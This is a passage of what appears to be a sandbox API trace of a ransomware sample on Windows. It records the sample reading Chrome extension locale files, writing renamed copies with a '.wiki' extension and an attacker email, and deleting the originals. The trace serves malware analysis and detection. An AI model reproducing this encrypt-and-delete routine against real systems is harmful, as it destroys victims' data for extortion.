Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.156] lstrlenW (lpString=".dbf") returned 4 [0173.156] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.156] lstrlenW (lpString=".1cd") returned 4 [0173.156] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.156] lstrlenW (lpString=".jpg") returned 4 [0173.156] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.157] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.157] lstrlenW (lpString="messages.json") returned 13 [0173.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.157] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=279) returned 1 [0173.157] CloseHandle (hObject=0x124) returned 1 [0173.157] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json")) returned 0x2020 [0173.157] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.157] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.157] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.158] GetLastError () returned 0x0 [0173.158] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x117, lpOverlapped=0x0) returned 1 [0173.159] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x120, lpOverlapped=0x0) returned 1 [0173.160] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.160] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.160] SetEndOfFile (hFile=0x334) returned 1 [0173.160] CloseHandle (hObject=0x334) returned 1 [0173.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.161] SetEndOfFile (hFile=0x124) returned 1 [0173.161] CloseHandle (hObject=0x124) returned 1 [0173.161] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.162] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json")) returned 1 [0173.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.162] lstrlenW (lpString=".doc") returned 4 [0173.162] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.162] lstrlenW (lpString=".docx") returned 5 [0173.162] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.162] lstrlenW (lpString=".pdf") returned 4 [0173.162] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.162] lstrlenW (lpString=".xls") returned 4 [0173.162] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.162] lstrlenW (lpString=".xlsx") returned 5 [0173.162] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.162] lstrlenW (lpString=".ppt") returned 4 [0173.162] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.162] lstrlenW (lpString=".zip") returned 4 [0173.162] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.162] lstrlenW (lpString=".rar") returned 4 [0173.361] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.361] lstrlenW (lpString=".bz2") returned 4 [0173.361] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.361] lstrlenW (lpString=".7z") returned 3 [0173.361] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.361] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.361] lstrlenW (lpString=".dbf") returned 4 [0173.361] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.361] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.361] lstrlenW (lpString=".1cd") returned 4 [0173.361] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.361] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.361] lstrlenW (lpString=".jpg") returned 4 [0173.361] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.362] lstrlenW (lpString=".doc") returned 4 [0173.362] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.362] lstrlenW (lpString=".docx") returned 5 [0173.362] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.362] lstrlenW (lpString=".pdf") returned 4 [0173.362] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.362] lstrlenW (lpString=".xls") returned 4 [0173.362] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.362] lstrlenW (lpString=".xlsx") returned 5 [0173.362] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.362] lstrlenW (lpString=".ppt") returned 4 [0173.362] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.362] lstrlenW (lpString=".zip") returned 4 [0173.362] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.362] lstrlenW (lpString=".rar") returned 4 [0173.362] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.362] lstrlenW (lpString=".bz2") returned 4 [0173.362] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.362] lstrlenW (lpString=".7z") returned 3 [0173.362] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.362] lstrlenW (lpString=".dbf") returned 4 [0173.362] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.362] lstrlenW (lpString=".1cd") returned 4 [0173.362] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.362] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 151 [0173.363] lstrlenW (lpString=".jpg") returned 4 [0173.363] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.363] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.363] lstrlenW (lpString="messages.json") returned 13 [0173.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.363] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=213) returned 1 [0173.363] CloseHandle (hObject=0x1a0) returned 1 [0173.363] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json")) returned 0x2020 [0173.364] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.364] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.364] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.364] GetLastError () returned 0x0 [0173.364] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd5, lpOverlapped=0x0) returned 1 [0173.366] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.367] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.367] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.367] SetEndOfFile (hFile=0x1b4) returned 1 [0173.367] CloseHandle (hObject=0x1b4) returned 1 [0173.367] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.367] SetEndOfFile (hFile=0x1a0) returned 1 [0173.368] CloseHandle (hObject=0x1a0) returned 1 [0173.368] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.368] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json")) returned 1 [0173.369] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.369] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.369] lstrlenW (lpString=".doc") returned 4 [0173.369] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.369] lstrlenW (lpString=".docx") returned 5 [0173.369] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.369] lstrlenW (lpString=".pdf") returned 4 [0173.369] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.369] lstrlenW (lpString=".xls") returned 4 [0173.369] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.369] lstrlenW (lpString=".xlsx") returned 5 [0173.369] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.369] lstrlenW (lpString=".ppt") returned 4 [0173.369] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.369] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.369] lstrlenW (lpString=".zip") returned 4 [0173.369] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.369] lstrlenW (lpString=".rar") returned 4 [0173.369] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.369] lstrlenW (lpString=".bz2") returned 4 [0173.369] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.369] lstrlenW (lpString=".7z") returned 3 [0173.369] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.369] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.369] lstrlenW (lpString=".dbf") returned 4 [0173.369] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.369] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.369] lstrlenW (lpString=".1cd") returned 4 [0173.369] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.369] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.370] lstrlenW (lpString=".jpg") returned 4 [0173.370] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.370] lstrlenW (lpString=".doc") returned 4 [0173.370] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.370] lstrlenW (lpString=".docx") returned 5 [0173.370] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.370] lstrlenW (lpString=".pdf") returned 4 [0173.370] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.370] lstrlenW (lpString=".xls") returned 4 [0173.370] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.370] lstrlenW (lpString=".xlsx") returned 5 [0173.370] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.370] lstrlenW (lpString=".ppt") returned 4 [0173.370] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.370] lstrlenW (lpString=".zip") returned 4 [0173.370] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.370] lstrlenW (lpString=".rar") returned 4 [0173.370] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.370] lstrlenW (lpString=".bz2") returned 4 [0173.370] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.370] lstrlenW (lpString=".7z") returned 3 [0173.370] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.370] lstrlenW (lpString=".dbf") returned 4 [0173.370] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.370] lstrlenW (lpString=".1cd") returned 4 [0173.371] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json") returned 151 [0173.371] lstrlenW (lpString=".jpg") returned 4 [0173.371] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.371] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.371] lstrlenW (lpString="messages.json") returned 13 [0173.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.371] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=206) returned 1 [0173.371] CloseHandle (hObject=0x1a0) returned 1 [0173.372] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0173.373] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.373] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.373] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.373] GetLastError () returned 0x0 [0173.373] ReadFile (in: hFile=0x1a0, 